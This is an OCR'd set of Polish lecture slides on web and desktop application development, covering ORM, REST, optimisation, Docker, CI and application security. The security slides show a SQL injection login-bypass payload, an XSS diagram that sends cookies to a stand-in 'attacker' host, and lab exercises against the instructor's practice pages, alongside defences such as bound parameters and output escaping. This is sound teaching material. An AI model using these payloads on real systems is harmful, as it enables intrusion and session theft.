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Informacje ogdlne




CRUD

CRUD (ang. create, read, update and delete) oznacza cztery
podstawowe funkcje w aplikacji bazodanowej, ktére
umozliwiaja zarzadzanie nia.

MO

CREATE READ UPDATE DELETE

CRUD

http://www.codingerik.com /assets/images/crudblog.png
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ORM

Mapowanie obiektowo-relacyjne (ORM) jest sposobem
odwzorowania obiektowej architektury systemu

informatycznego na baze danych (lub inny element systemu)
o relacyjnym charakterze.

Relational database (such as PostgreSQL or MySQL) Python objects

ID[FIRST_NAME |LAST_NAME [PHONE ClEED FEEET

"___————’ first_name = "John"
1 |John Connor +16105551234 lastiname = "Gonnor™
2 |Matt Makai +12025555689

phone_number = "+16105551234"
3 |Sarah Smith +19735554512 ‘\

class Person:
first_name = "Matt"
last_name = "Makai"
phone_number = "+12025555689"

ORMs provide a bridge between
relational database tables, relationships
and fields and Python objects

class Person:

first_name = "Sarah"

last_name = "Smith"
phone_number = "+19735554512"

https://www.fullstackpython.com/img/visuals/orms-bridge.png
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Aplikacje webowe




Skad bra¢ darmowe obrazki?

Bezpfatne zdjecia o0 wysokiej
~ jakosci

Ponad 910 000 darmowych zdjet, grafiki wekl:

https://pixabay.com/
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Darmowe szaty graficzne do Bootstrapa

b Bootswatch  Th Help  Blog Built With Bootstrap  WrapBootstrap

Free themes for Bootstrap
W Folow @bootswatch | W Tweet

https://bootswatch.com/

WWW.szwarc.net.pl/sze
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www.szwarc.net.pl/sze

Optymalizacja obrazkéw

https://tinypng.com/
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Optymalizacja obrazkéw - przyktad

Original transparent PNG Shrunk transparent PNG
File size: 57 KB File size: 16 KB

https://tinypng.com/
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Odpowiednie rozmiary obrazkéw

Niezaleznie od podanych wartosci atrybutéw width oraz height
rozmiar pobieranego obrazka bedzie taki sam, dlatego nalezy
przechowywac - na serwerze - pliki o zadanych rozmiarach, aby
przyspieszy¢ wczytywanie strony i zmniejszy¢ wielkosé
transferu plikéw do uzytkownika (warto pamietaé o
urzadzeniach mobilnych).
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Minifikacja kodu

Minifikacja (ang. minification) jest procesem polegajacym na
zmniejszenie kodu zrédtowego poprzez usunigcie
niepotrzebnych znakéw (bez wptywu na funkcjonalnosé).

Min

http://minifier.org/
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Minifikacja - przyktad

Minify your CSS

Online CSS Minifier/Compressor. Free! Provides an API.
Simple Quick and Fast.

= o7

Support CSS Minifier by purchasing a w3tees t-shirt. This site is also run by us.

Input CSS Minified Output
entry-content p {

.entry-content p,
font-size: 14px limportant;

ulliffont-size: product_item p
10px 0 0; i

g

entry-content ul li {
font-size: 14px limportant;

}

product_item p a {
color: #000;

padding: 10px Opx Opx 0;
margin-bottom: 5px;
border-bottom: none;

}

P
Download as File ~ RAW  Clear

Select All

https://cdn.keycdn.com/
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Obfuskacja kodu

Obfuskacja

Obfuskacja/zaciemnienie kodu (ang. obfuscation) jest technika
przeksztatcania kodu polegajaca na zachowaniu semantyki przy
znaczacym utrudnieniu jego zrozumienia.

function NewObject(prefix

Hello=function(msg)

count++;
alert(prefixtms

t=function()

return count;

https://javascriptobfuscator.com/
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Wykorzystanie CDN

CDN

Content delivery network (CDN) jest rozproszonym systemem
dostarczania tresci. Jego celem jest udostepnianie zawartosci
cechujacej sie wysoka dostepnoscia oraz wydajnoscia
uzytkownikom. CDN dla Bootstrapa - np.
https://bootstrapcdn.com/.

First Request
Origin Server

from origin server

Second Request

Origin Server

Request: foobar.css

from edge server
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https://bootstrapcdn.com/

Testy aplikacji webowych

PageSpeed Insights

s inom.us el =3

ﬂ Na komorki : Na komputery

(AWADL] Sugestie — podsumowanie

[ Nalezy poprawic: T
Wyeliminuj blokujacy renderowanie kod JavaScript i CSS z czesci strony widocznej na ekranie 5
»Pokaz, jak to naprawié

Wykorzystaj pamie¢ podreczng przegladarki

» Pokaz, jak to naprawi¢
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Testy aplikacji webowych cz. 2

GTi Festures  Resources  Blog

GTmetrix PRO Logl

1
g

Latest Performance Report for:

—- oo s

S = Report generated () Lt mattote g acon

Test Server Region: I+

F

- Using: @

s Download PDF
Performance Scores Page Details

Share This Report
PageSpeed Score YSlow Score Fully Loaded Time Total Page Size Requests

) 685~ 601KB~ 92+ R

https://gtmetrix.com/
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Testy aplikacji webowych cz. 3

Nu Html Checl

This tool is an ongoing experiment in better HTML checking, and its behavior remains subject to change
Showing resuilts for http://wiinom.us.edu.pl/

Checker Input

Show | [Tsouse  [Joutine [ imagereport | Options

Check by address v
http://wiinom.us. edu.pl/

[ Check

Use the Message Filtering button below to hide/show particular messages, and to see total counts of errors and warnings.
Message Filtering

Error Bad value http://fonts.googleapis.com/css?Family=Open+Sans:30, 300italic,800,800italicRsubset=1atin, latin-
ext| Shadous+Into+Light for attribute href on element  link : lllegal character in query: | |is not allowed.

From line 93, column 2; to line 93, column 167

nts

- <link href="http://fonts.googleapis. con/css?family=Open+Sans: 360, 300ital ic,800, 8001 talic&subset=latin, latin-ext| Shadows+IntosLight”
rel="stylesheet” type="text/css">= <link

https://validator.w3.org/
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AJAX

AJAX (ang. Asynchronous JavaScript and XML) jest technika
tworzenia aplikacji internetowych, opierajaca sie na interakgji
uzytkownika z serwerem bez przetadowywania catego
dokumentu (w sposéb asynchroniczny).

Traditional web model AJAX web model
web browser web browser
Javaseript call HTML + Resources
HTTP Request
HTML + Resources HTTP Request

XML

web server web server

https:/ /derivadow.files.wordpress.com
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JSON

JSON (ang. JavaScript Object Notation) jest tekstowym

formatem wymiany danych, stanowigcym alternatywe dla

XMLa.

“Time"
"Latitude"

“Longitude"

"Count"
"Comments"
"Luma"
"Habitat"
“Types"

"Address"

: "2014-02-12 14:20:@5",
: 37.33233141,

: -122.8312186,

: 181,

: "Bad Data. SNOW DAY!!"™,

H |
§ "'Back yard, grass",
|

wgn,

1,

"Street" : "2522 West Georgia Read",
"Eaty” : "Piedmont",

"State" : "South Carolina"™,
"Country" : "United States",

https://www.researchgate.net
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Heroku

Heroku jest platformag do tworzenia i hostowania aplikacji w
chmurze. Aktualnie obstuguje ona Ruby, Jave, JS (Node.js),
Scaleg, Clojure, Pythona, PHP oraz Perla.

5] eroKU

https://blog.phusion.nl/
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Zasada dziatania Heroku

Local project

heroku Deployment Process
A simplified view of application deployment via Git
http://jrocket. github.io/developer-guides

heroku create 1. Read buildpacks to =
lg‘\t push heroku master determine language
@ € Github  Buildpacks
- 2. Establish detected
Initiate Heroku Installed language
@ deployment proceis Heroku  Language Env_>\r0nment runtime
Heroku - & frameworks

repo

3. Build application (slug) Application
— Slug

4, Set Environment

Variables
—

5. Attach external

Live resources (addons)
Application — Completed
6. Deploy Application Release
Dyno Release
The release is deployed to a new set -
of Dynos for the Heroku application J
Heroku Developer Guides https://devcenter.heroku.com/ Building Scalable apps http://12factor.net/

http://jrOcket.co.uk/




RESTful Webservices

REST (ang. Representational State Transfer) jest wzorcem
dotyczacym tworzenia architektury aplikacji rozproszonych.

Opis

RESTful Webservices to ustuga sieciowa stworzona w oparciu
o HTTP oraz REST. Zaktada ona posiadanie zasobéw (ang.
resources), czyli pewnych adreséw webservice'éw. Komunikacja
pomiedzy klientem, a serwerem jest bezstanowa - kazde
odpytanie serwisu jest traktowane jako niezalezna transakcja.

<
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Idea RESTful Webservices

Metoda Typ operacji
GET pobranie danych
POST | dodanie danych
PUT edycja danych

DELETE | usuniecie danych
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Przyktad

Zaséb Metoda Typ operadji
zwarc.net.pl/student GET pobranie WSZ,yStkICh
studentéw
szwarc.net.pl/student/1 GET pobrarge?dstludenta
dodanie nowego
szwarc.net.pl/student POST studenta
edycja danych
szwarc.net.pl/student PUT studenta
sowarc.net.pl/student /1 | DELETE usuleZI?dstludenta
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Aplikacje desktopowe




Build w konfiguracji release, a debug

BN
g

https://12factor.net/

Release
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Darmowy kreator instalatora - Inno Setup

http://jrsoftware.org/
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Inzynieria wsteczna




Kod posredni, a inzynieria wsteczna

Installing framework Decompiling Compiling

Select

framework-res.apk: Select .apk: Select folder:

File. v File. v Folder. v|
Install

(o | [ ]

Log:

(Log appears after installing framevork, compiling, or decompiling)

http://www.howtodroid.com/
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Mur chinski

Mur chinski

Mur chinski jest technika opierajaca sie na utworzeniu dwdch
niezaleznych grup programistéw, w ktérym jedna tworzy
dokumentacje na podstawie kodu Zrédtowego pozyskanego za
pomoca inzynierii wstecznej, a druga pisze program (na
podstawie otrzymanej - od pierwszego zespotu -
dokumentacji).

l/T\I 2= Rl
(A) (B) (C)

http://core0.staticworld.net/
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Wybrane aspekty
bezpieczenstwa aplikacji




SQL Injection - zasada dziatania

SQL Injection

SQL Injection to metoda ataku opierajaca sie na
wykorzystaniu nieodpowiedniego filtorwania lub typowania
danych wprowadzonych przez uzytkownika, ktére zostaja
wykorzystane w zapytaniu SQL.

SQL Injection.

select * from Users where user_id= "itswadesh” <
and password = ' newpassword *

Userldy' OR 1= 1; /*
&

select * from Users where user_id=""OR 1 =1; /*’
and password = ' ¥/’

https://itswadesh.files.wordpress.com/
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Ciekawy przyktad SQL Injection

http://notey.com/
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Unikniecie SQL Injection - podpinanie wartosci

$db = new
PDO(’mysql:host=1local;dbname=db’,’’,’’);

$st= $db->prepare(’ INSERT INTO user
VALUES (:id, :name) ) ;

$id=6;

$name=’Ala’;

$st->bindValue(’:id’ ,$id ,PDO: : PARAM_INT) ;

$st->bindValue(’ :name’, $name ,PD0:: PARAM_STR) ;

$st->execute () ;
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@ Sprébuj wtamad sie na strone
http://szwarc.net.pl/zajecia/sql.html z
wykorzystaniem SQL Injection.
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http://szwarc.net.pl/zajecia/sql.html

XSS - zasada dziatania

Cross-site scripting (XSS) jest sposobem ataku opierajacym sie
na osadzeniu - przez atakujacego - w tresci strony kodu
(zazwyczaj JS), ktéry wyswietlony innym uzytkownikom moze
doprowadzi¢ do wykonania niepozadanych akgcji.

Attacker

Attacker's Server

Website's Response Script.

Check this out:
hitp{/websie/search?
Keyword=<script...</seript>

GET http://attacker/?cookie=sensitive-data

https://excess-xss.com/
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Podstawowa ochrona przed XSS - filtrowanie

wyswietlanych wartosci

echo
htmlspecialchars ($txt ,ENT_QUOTES,’UTF-8’);
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@ Sprébuj przekierowac uzytkownika na inng strone z
wykorzystaniem XSS (sprawdz rézne przegladarki
internetowe). Link: http:
//szwarc.net.pl/zajecia/xss.php?message=hello
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http://szwarc.net.pl/zajecia/xss.php?message=hello
http://szwarc.net.pl/zajecia/xss.php?message=hello
http://szwarc.net.pl/zajecia/xss2.html

@ Sprébuj przekierowac uzytkownika na inng strone z
wykorzystaniem XSS (sprawdz rézne przegladarki
internetowe). Link: http:
//szwarc.net.pl/zajecia/xss.php?message=hello

© Wykonaj zadanie 1 dla strony
http://szwarc.net.pl/zajecia/xss2.html
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http://szwarc.net.pl/zajecia/xss.php?message=hello
http://szwarc.net.pl/zajecia/xss.php?message=hello
http://szwarc.net.pl/zajecia/xss2.html

Automatyzacja wytwarzania
oprogramowania




Docker jest narzedziem umozliwiajacym uruchomienie
proceséw w kontenerach (odizolowanych $rodowiskach)
dostarczajacych procesowi niezbednych zaleznosci.

dcker

http://dapperdeveloper.com
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Docker, a VM

Containers vs. VMs

Containers are isolated,
but share OS and, where

v appropriate, bins/libraries

Container

Host OS

Server

http://zdnet2.cbsistatic.com
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Gradle

Opis

Gradle jest narzedziem wykorzystywanym do automatycznego
budowania projektéw (z konkurencyjnych rozwigzan warto znaé
Ant oraz Mavena). Za jego pomoca nastepuje np. kompilacja
kodu zrédtowego, tworzenie pliku ze skompilowanymi klasami
(np. JARa), uruchomienie wszystkich testéw oraz zarzadzanie
zaleznosciami (zewnetrznymi bibliotekami).

RGradle

http://codecouple.pl/
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Gradle, a konkurencja (2016 rok)

Build Tool

% of Respondents

vvvvvvvvvv

http://codecouple.pl/
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Ciagta Integracja

Opis

Ciagta Integracja (Cl) jest praktyka zaktadajaca czeste scalanie
wynikéw pracy (przynajmniej raz dziennie) przez cztonkéw
zespotu programistycznego, otrzymujac kazdego dnia kilka
zintegrowanych wersji kodu, ktére sg sprawdzane przez
automatyczny proces budowania.

http://namiekko.pl/tag/jenkins/
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Dziekuje za uwage
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